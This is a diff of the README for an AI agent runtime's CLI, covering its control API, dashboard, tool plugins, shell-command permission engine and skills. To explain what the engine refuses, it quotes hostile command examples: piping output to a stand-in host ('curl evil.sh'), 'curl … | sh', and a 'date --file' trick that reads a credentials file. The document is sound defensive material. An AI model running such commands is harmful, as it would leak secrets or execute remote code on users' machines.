@stratusagent/cli 0.4.0 → 0.7.0

package/README.md

@@ -26,9 +26,103 @@ alongside the CLI and `stratus serve` picks it up automatically:
 npm install -g @stratusagent/channel-slack
 ```
 
+You rarely have to type that. Connect an agent in `stratus setup` → **Channels**
+and **Save & finish** offers the install, because storing tokens is already the
+decision to use Slack — see [What Save & finish offers](#what-save--finish-offers).
+
 If tokens are stored for an agent but the package isn't installed, `stratus
 serve` says so and starts anyway, serving every other channel.
 
+### Optional tool plugins
+
+Capability is optional in the same way, and gated more tightly. A plugin runs
+inside the daemon's process, so **installing one does not run it** — it runs
+when a trusted config lists and enables it, and then only for the agents whose
+souls name its tools:
+
+```bash
+npm install -g @stratusagent/tool-fs @stratusagent/tool-web
+```
+
+See [Tools](#tools-what-an-agent-can-actually-do) for the config block and what
+each pack does.
+
+### Optional control API and dashboard
+
+Same idea, and the same reason: installing it is how you say you want a port
+open. With it present, `stratus serve` also serves an authenticated HTTP +
+WebSocket API on `127.0.0.1:4123`.
+
+```bash
+npm install -g @stratusagent/control-api @stratusagent/dashboard
+```
+
+Two packages, because the API has three consumers and only one of them is a
+web page — the macOS app and a headless VM want the API without a UI. Install
+`@stratusagent/control-api` alone for those; add `@stratusagent/dashboard` and
+the API serves the web UI at `/` as well.
+
+That API is what every non-terminal surface talks to — the web dashboard and
+the macOS app alike. Its full reference (endpoints, auth, the event envelope)
+lives in [its own README](https://github.com/stratuslabs/agent/tree/main/packages/control-api).
+
+Two files appear while it is serving, both `0600`:
+
+| File | What |
+| --- | --- |
+| `~/.stratus/gateway-token` | The bearer token clients authenticate with |
+| `~/.stratus/gateway.json` | Where the daemon is reachable — url, host, port, pid — removed on a clean stop |
+
+Turn it off with `stratus serve --no-api`, or in `~/.stratus/config.json`:
+
+```jsonc
+{
+  "api": {
+    "enabled": true,
+    "host": "127.0.0.1",
+    "port": 4123
+  }
+}
+```
+
+Like `approvals`, this block is read **only** from a config you chose
+yourself — the global `~/.stratus/config.json` or one passed with `--config`.
+An auto-discovered project-local `stratus.config.json` ships in any
+repository, and which interface a daemon binds is not a decision a cloned repo
+gets to make; one that tries is ignored, loudly.
+
+Localhost is the posture. To reach a machine at home, put it behind a tunnel
+(Tailscale is the pattern we recommend) rather than binding a public
+interface.
+
+### The dashboard
+
+```bash
+stratus dashboard
+```
+
+It finds a running daemon through `~/.stratus/gateway.json`, or starts one in
+the foreground when there is none (and says which it did). Then it mints a
+**single-use, short-lived sign-in link** and opens your browser at it — the
+one thing a browser cannot do for itself, since page JavaScript cannot read
+`~/.stratus/gateway-token` and a WebSocket upgrade cannot carry a header.
+
+The link works once. Run the command again for another. A daemon restart signs
+the browser out too, because its sessions live in memory.
+
+### Talking to a daemon from another machine
+
+`stratus agents --gateway <url>` reads the roster from a running daemon
+instead of resolving it locally — the same listing, answered by the API:
+
+```bash
+stratus agents --gateway http://127.0.0.1:4123
+```
+
+Locally that needs nothing else: the token comes from
+`~/.stratus/gateway-token`. A daemon reached through a tunnel has its own
+token, so pass it with `--token` or `STRATUS_GATEWAY_TOKEN`.
+
 ## Setup
 
 `stratus setup` is the whole onboarding, as a small navigable menu:
@@ -50,6 +144,47 @@ serve` says so and starts anyway, serving every other channel.
 - **Channels** — put an agent on Slack without opening a file. Pick the agent, and setup prints the app manifest with their name already filled in, walks you through the two tokens (input hidden), verifies each against Slack before accepting it, and stores them where `stratus serve` looks. The list marks who is connected; picking a connected agent offers to replace their tokens or disconnect.
 - **Always on** — whether the roster keeps answering once you close the terminal. On by default, because an agent you have to remember to start is not always-on, and every Slack app you connected above stays silent until `stratusd` runs. Save & finish installs it (see [Always on](#always-on)); choose *do not run it for me* and setup removes any service it previously installed.
 - **Test run** — say hello with the current settings before saving anything.
+- **Save & finish** — writes everything, offers any optional package your
+  choices imply, then installs the always-on service.
+
+### What Save & finish offers
+
+The CLI ships no transport and no open port, so a fresh machine finishes setup
+missing the packages its own answers just asked for. Setup knows that before
+the daemon does — it stored the Slack tokens itself — so **Save & finish** names
+what is missing and offers to install it:
+
+```text
+2 optional packages are not installed:
+  @stratusagent/channel-slack
+    Slack tokens are stored for 1 agent(s), but nothing connects to Slack without it.
+  @stratusagent/control-api @stratusagent/dashboard
+    `stratus dashboard` needs it, and it opens an authenticated port on 127.0.0.1.
+
+Install now with npm install -g?
+> Install all of them now
+  Install the Slack channel only
+  Install the Web dashboard only
+  Skip
+```
+
+Three things about it worth knowing:
+
+- **It asks, and anything left uninstalled prints its command** — whether you
+  skipped the offer entirely or took only one of the two, since choosing one
+  group is not a decision about the other. The control API binds a port, and
+  installing it is how an operator says they want one open, so this stays a
+  question rather than a default.
+- **It runs before the service install**, so the LaunchAgent comes up with
+  those packages already present. A package installed *after* a daemon starts
+  is invisible to it; that ordering is the whole reason the offer lives here
+  rather than in a closing hint.
+- **A failed install never fails setup.** Your config and credentials are
+  already written; you get npm's exit code and the command to run yourself.
+
+Setup only suggests `stratus dashboard` at the end when it can actually work —
+a machine that skipped or failed that install is not told to run a command that
+would exit with an error.
 
 Credentials are stored in `~/.stratus/credentials.json` (owner-read-only) and settings in `~/.stratus/config.json`, so `stratus run` works from any directory afterwards. No env vars to export, no config files to hand-edit.
 
@@ -97,9 +232,17 @@ terminal to prompt on. If somebody *is* reachable, `--approvals remote` asks
 them instead — see [Asking a human](#asking-a-human-remote-approval).
 
 A tool that declares no risk counts as `gated`, never `safe` — forgetting to
-classify something should cost a prompt, not an unattended command. Every
-tool that ships today (`demo.echo`, `memory.remember`, `agent.delegate`) is
-`safe`, so nothing changes until you add one that isn't.
+classify something should cost a prompt, not an unattended command. The
+built-in tools (`demo.echo`, `memory.remember`, `agent.delegate`) are all
+`safe`; anything you install is where this starts to bite, which is what the
+[Tools](#tools-what-an-agent-can-actually-do) section below is about.
+
+A **shell** is the exception to the whole paragraph, because its risk is in
+its argument rather than in its identity. `shell.run` is `gated`, and the
+permission engine then judges each command: a safe scope (`git status`,
+`git log`) runs unattended, everything else asks, and a control operator
+anywhere in the string disqualifies it however innocent the base command is.
+See [Which commands run unattended](#which-commands-run-unattended).
 
 The line is *acting outside Stratus* — the filesystem, the network, another
 service — not cost. Every turn spends provider tokens, including the one
@@ -182,11 +325,22 @@ Three things are worth knowing before you turn it on:
   reason saying stratusd stopped while they were running and to send the
   message again, rather than claiming to still be running forever. This is
   only for an ungraceful stop: a normal restart denies what is parked and
-  finishes the turns those denials release before it exits.
-- **Always allow lasts for the session**, not forever. It stops the same tool
-  asking again in the same conversation, and it is forgotten when the daemon
-  restarts. A durable per-agent whitelist is a narrower promise (a normalized
-  command scope) and ships with the shell tool that needs one.
+  finishes the turns those denials release before it exits. The thread hears
+  about it too: a turn that fails with nobody rendering it is reported where
+  it was asked, rather than going quiet and reading as an agent that never
+  replied.
+- **A button left behind by a dead daemon corrects itself when clicked.** A
+  normal shutdown retracts its buttons; a crash cannot, and the new process
+  has no record of what the old one posted. Clicking such a prompt tells you
+  it is no longer pending *and* rewrites the message so the next reader is
+  not offered a decision nothing is waiting for. A prompt nobody clicks
+  stays as it is.
+- **Always allow means different things for a tool and for a command.** For
+  an ordinary tool it lasts for the session: it stops that tool asking again
+  in the same conversation, and it is forgotten when the daemon restarts.
+  For a call that carries a command — `shell.run` — it persists a *scope*
+  instead, in `~/.stratus/agents/<id>.whitelist.json`, and that survives a
+  restart. See below for what a scope keeps out.
 
 The request shows the tool's **arguments**, not just its name — for anything
 whose danger lives in what it was called with, approving a bare tool name is
@@ -208,6 +362,260 @@ Approval buttons need the Slack app's **Interactivity** switched on. Apps
 created from the manifest that `stratus setup` prints already have it; an app
 created before this shipped needs it enabled once, in its App Manifest.
 
+## Tools: what an agent can actually do
+
+Out of the box an agent can echo, remember, and delegate. Everything else —
+files, a shell, the web, a browser — arrives as a **plugin**: one package you
+install, list, and enable.
+
+```bash
+npm install -g @stratusagent/tool-fs @stratusagent/tool-shell \
+                @stratusagent/tool-web @stratusagent/tool-browser
+```
+
+```jsonc
+// ~/.stratus/config.json
+{
+  "plugins": {
+    "@stratusagent/tool-fs": {
+      "enabled": true,
+      "roots": ["~/notes"],
+      "agents": {
+        "ava":  { "roots": ["~/work/ava"] },
+        "juno": { "roots": ["~/work/juno", "~/shared"] }
+      }
+    },
+    "@stratusagent/tool-web": { "enabled": true },
+    "@stratusagent/tool-shell": { "enabled": true, "cwd": "~/work" }
+  }
+}
+```
+
+Keyed by **package name**, because a plugin's identity is its package and one
+may contribute more than tools. Per-agent settings go in an `agents` sub-block
+over the defaults above them — the same shape `approvals` already uses, and it
+matters more here: for `tool-fs` those values are an access boundary between
+agents rather than a preference.
+
+**Only a config you chose may list plugins** — `--config`, `STRATUS_CONFIG`, or
+the global `~/.stratus/config.json`. A plugin runs in the daemon's own process,
+so this list is a list of code, and an auto-discovered project-local
+`stratus.config.json` ships with any repository you clone. Its `plugins` block
+is ignored, with a warning naming the file, exactly as `api` and `approvals`
+are.
+
+`stratus run` and `stratus chat` load the same plugins from the same config, so
+a tool that works locally works in the daemon, and one that is missing is
+missing in both.
+
+### Installing a plugin grants no agent anything
+
+The soul's allowlist is the second gate, and the per-identity one:
+
+```markdown
+---
+id: ava
+tools: [fs.read, fs.search, web.fetch]
+---
+```
+
+`fs.*` grants a whole toolset, so an agent given "the filesystem" does not need
+editing every time the pack gains a tool. The prefix keeps its dot: `fs.*`
+never matches `fsx.read`. Listing nothing grants every registered tool, which
+is fine for a private agent and is not what you want once a shell is installed.
+
+### What is available
+
+| Package | Tools | Risk |
+| --- | --- | --- |
+| [`@stratusagent/tool-fs`](../tool-fs) | `fs.read`, `fs.list`, `fs.search` | `safe` inside the agent's roots |
+| | `fs.write` | `gated` |
+| [`@stratusagent/tool-shell`](../tool-shell) | `shell.run` | `gated`, then judged per command |
+| [`@stratusagent/tool-web`](../tool-web) | `web.fetch` | `gated` |
+| [`@stratusagent/tool-browser`](../tool-browser) | `browser.goto`, `.read`, `.screenshot` | `gated` |
+| | `browser.act` | `dangerous` — always a human |
+
+Each package's README carries its own settings and the reasoning behind its
+risk levels. Three things are worth knowing here:
+
+- **`tool-fs` roots are a boundary, not a preference.** No roots means no
+  filesystem — nothing is readable, rather than everything. Containment is
+  decided between real paths, so a symlink inside a root pointing at
+  `~/.stratus/credentials.json` is refused, and so is a write *through* a
+  symlinked directory.
+- **`tool-shell` replaces the environment.** The command gets exactly what
+  you granted (`passEnv`, `env`) and nothing else — the daemon's own
+  environment, where `ANTHROPIC_API_KEY` lives, is not there to read.
+- **`tool-web` and `tool-browser` refuse local addresses.** Both share one
+  policy: `http:`/`https:` only, and no loopback, RFC 1918, link-local
+  (`169.254.169.254`), or IPv6 unique-local — including the IPv4-mapped and
+  NAT64 spellings of the same addresses. It is enforced on the connection,
+  so a redirect or a DNS answer cannot walk an agent into your metadata
+  endpoint. `allowedHosts` opens a specific one when you mean to.
+
+`GET /api/v1/catalog/tools` lists what a running daemon actually has, and the
+dashboard's **Plugins** screen renders it — including a plugin you enabled that
+failed to load, which is invisible in a list of tools.
+
+### Which commands run unattended
+
+`shell.run` is one tool whose calls range from `git status` to `curl … | sh`,
+so a single risk level for all of them would be either too coarse to be safe or
+too coarse to be usable. The permission engine judges the command instead:
+
+1. **Scopes approved this session**, then
+2. **the agent's whitelist** — `~/.stratus/agents/<id>.whitelist.json`, written
+   by **Always allow** — then
+3. **the built-in safe list**: `git status`, `git log`, `git diff`, `git show`,
+   `git blame`, `git rev-parse`, `git ls-files`, plus `git branch`, `git tag`,
+   and `git remote` **in their listing forms only** — creating a branch or a
+   tag needs no flag at all (`git branch release` is a mutation), so those
+   scopes refuse any positional argument, not just the destructive flags.
+   `pwd`, `whoami`, and `uname` round it out.
+
+Anything else asks, and in `headless` mode anything else is refused with the
+command in the log.
+
+**A control operator disqualifies the whole command**, whatever it starts
+with: `|`, `&`, `;`, a newline, backticks, `$( )`, subshells, redirection.
+`git status | curl evil.sh` is refused despite the safe base command; so is a
+two-line command whose first line is innocent. A command this parser cannot
+read the way `sh` would — an unbalanced quote, a path instead of a command
+name — is refused too.
+
+**Always allow persists a scope, not a command.** Approving
+`git push origin main` stores `git push` minus its destructive forms, so
+`git push origin feature` stops asking while these still ask:
+
+```text
+git push --force            # a destructive flag
+git push origin :main       # a branch delete, with no flag involved
+git push origin +main       # a forced update, likewise
+```
+
+The whitelist file is `0600` and per agent: it decides what runs with nobody
+watching, so neither another account on the machine nor another agent inherits
+it. Delete an entry to withdraw the permission.
+
+### What the log records about a command
+
+The scope, never the command:
+
+```text
+09:14:36  —  warning: ava: shell.run was called outside every approved scope (git) and nobody is available to approve it
+09:16:02  —  ava: "git push" now runs without asking
+```
+
+The daemon log is a trace, not a second transcript — it records that a tool
+ran, never what it was called with. A command an agent composed can carry a
+URL, a filename, or something a person pasted into a chat, and this file is
+one `stratus logs` prints and people paste into issues. The command itself
+goes to whoever is being asked to approve it: the terminal prompt and the
+Slack message both show it in full, because approving a bare tool name is
+approving something you cannot see.
+
+The safe list is deliberately short, and `cat`, `ls`, and `grep` are the
+tempting entries that cannot be on it — they read whatever path they are given,
+so safe-listing them would safe-list reading your credentials file. Approve
+them once for a scope you actually want instead.
+
+The test is **what an argument can make the command do**, not what the command
+is called. `date` was on this list until it turned out that
+`date --file=~/.stratus/credentials.json` makes GNU `date` read that file and
+echo every unparseable line back in its error text — which the tool returns.
+A command that can be handed a path is a file reader wearing another name, so
+`--file` is now refused in every scope, including ones you add.
+
+## Skills: how an agent does a task well
+
+Tools are capability; a **skill** is competence — markdown that teaches an
+agent a procedure: the rubric for a code review, the order to check things in,
+the format to answer in. A skill is a directory with a `SKILL.md`:
+
+```text
+~/.stratus/skills/
+  code-review/
+    SKILL.md
+```
+
+```markdown
+---
+name: Code Review
+description: Use when reviewing a diff or a pull request.
+---
+
+# Code review
+
+Lead with the verdict, then findings ordered by severity...
+```
+
+The frontmatter is the soul dialect — `name`, `description`, optional
+`version`, and an optional `requires:` list of toolsets the procedure expects
+(`browser.*`) — read **tolerantly**, unlike a soul's: keys other ecosystems
+write (`license`, `allowed-tools`, nested `metadata:`) and YAML's multi-line
+descriptions are skipped rather than refused, so a skill published for
+another agent loads here unmodified. The directory name is the skill's id.
+Plugins can ship skills too, declared in their manifest; those are addressed
+by the package name verbatim (`stratus-plugin-github:pr-review`), and by the
+bare id while no other package claims it.
+
+### Installing skills
+
+Anything on GitHub laid out as skill directories — including repos published
+to [skills.sh](https://skills.sh) — installs directly:
+
+```bash
+stratus skill add owner/skills-repo          # a whole repo of skills
+stratus skill add owner/repo --skill hn-search --agent ava
+stratus skill add ./my-skills                # a local directory
+stratus skills                               # what is installed, and who enables it
+```
+
+`skill add` takes a GitHub `owner/repo`, any git URL, or a local path; it
+finds skills at the repo root, one level down, and in the `skills/`,
+`.claude/skills/`, and `.agents/skills/` directories the ecosystem uses, then
+copies each **whole directory** into `~/.stratus/skills/`. An id already
+installed is refused per skill (`--force` replaces it), and an unparseable
+skill is reported while the rest still install.
+
+**Installed is not enabled.** A skill is markdown, but it is markdown your
+agent will *follow*, so installing a repo grants no agent anything — each
+soul still opts in through `skills:`. Pass `--agent <id>` to do both at once:
+the command appends the installed ids to that soul's list (rendering the file
+through the canonical formatter, like the API's field edits do).
+
+An agent gets a skill only when its soul asks — same allowlist shape as
+`tools:`, except that omitting it means **none** (a skill silently changing
+how an agent behaves is worse than an agent that has to be told):
+
+```markdown
+---
+name: Ava
+tools: [fs.read, fs.search]
+skills:
+  - code-review
+  - stratus-plugin-github:*
+---
+```
+
+**An enabled skill costs one line per turn, not its body.** Only the name and
+description reach the system prompt; the agent loads the full procedure with
+the built-in `skill.read` tool when the description says it is relevant. That
+is what lets a fleet carry thirty procedures without every turn paying for all
+thirty. `skill.read` is part of the skills mechanism — never list it under
+`tools:`; it appears (and works) for exactly the agents whose soul enables any
+skill, and reads only the skills that soul allows.
+
+**Write the description for routing.** It is the only thing the model sees
+before deciding to load the body, so it says *when to reach for this*, not
+what the file contains: "Use when reviewing a diff or a pull request", not "A
+rubric with twelve sections". A skill without a description does not load.
+
+A skill whose `requires:` names toolsets the agent's `tools:` does not cover
+is a warning when the daemon loads the roster, never a refusal — a skill is
+prose, and can degrade. `stratus run` and `stratus chat` serve the same skills
+directory the daemon does, so a skill that routes locally routes in Slack.
+
 ## Always on
 
 `stratus serve` stays a foreground process on purpose — debuggable, and
@@ -367,7 +775,7 @@ environment quietly demoting a Claude subscription sign-in to per-token billing.
 
 ## Agents are people
 
-An agent's identity lives in a **soul file** — markdown with frontmatter for the structured parts (name, provider, model, tool allowlists) and prose for the personality:
+An agent's identity lives in a **soul file** — markdown with frontmatter for the structured parts (name, provider, model, tool and skill allowlists) and prose for the personality:
 
 ```markdown
 ---
@@ -377,6 +785,8 @@ model: claude-opus-5
 tools:
   - demo.echo
   - memory.remember
+skills:
+  - code-review
 ---
 
 You are a sharp, warm generalist. Answer first, explain second...
@@ -437,13 +847,24 @@ to refuse over.
 | `--idle-timeout` | `stratus serve`: seconds of provider silence before the watchdog aborts a turn (default 120) |
 | `--no-events` | Hide the event log |
 | `--no-log-file` | `stratus serve`: do not write `~/.stratus/logs/stratusd.jsonl` |
+| `--no-api` | `stratus serve`: do not serve the control API |
+| `--api-host` | `stratus serve`: control API interface (default `127.0.0.1`) |
+| `--api-port` | `stratus serve`: control API port (default `4123`; `0` picks any free port) |
+| `--gateway <url>` | `stratus agents`: read the roster from a running daemon's control API |
+| `--port`, `--host` | `stratus dashboard`: where a daemon it starts should bind |
+| `--token` | Bearer token for `--gateway` (default: `~/.stratus/gateway-token`, or `STRATUS_GATEWAY_TOKEN`) |
 | `--no-login` | `stratus service install`: install without the start-at-login trigger |
 | `-f`, `--follow` | `stratus logs`: follow the log, across rotations |
 | `-n <count>` | `stratus logs`: how much backlog to print (default 50) |
 | `--agent`, `--session` | `stratus logs`: show only one agent's or one session's records |
 
+Tool plugins have no flags: what is installed is a config decision (`plugins`
+in a trusted config) and what an agent may call is a soul decision (`tools:`).
+Neither is something a single run should be able to widen from the command
+line.
+
 Precedence: flags → `STRATUS_*` env vars → soul file hints → config file. Project-local `stratus.config.json` outranks the global `~/.stratus/config.json`; stored sign-ins are endpoint-bound and never sent to endpoints a project config selects.
 
-Today the CLI covers setup, chat, one-shot runs, agent creation, the always-on gateway and its service integration, logs, diagnostics, Slack, and the local dashboard. More channels — and one control API that every surface talks to — are next.
+Today the CLI covers setup, chat, one-shot runs, agent creation, the always-on gateway and its service integration, logs, diagnostics, Slack, the control API, and the web dashboard.
 
 Part of [Stratus Agent](https://github.com/stratuslabs/agent) — a tiny TypeScript agent runtime.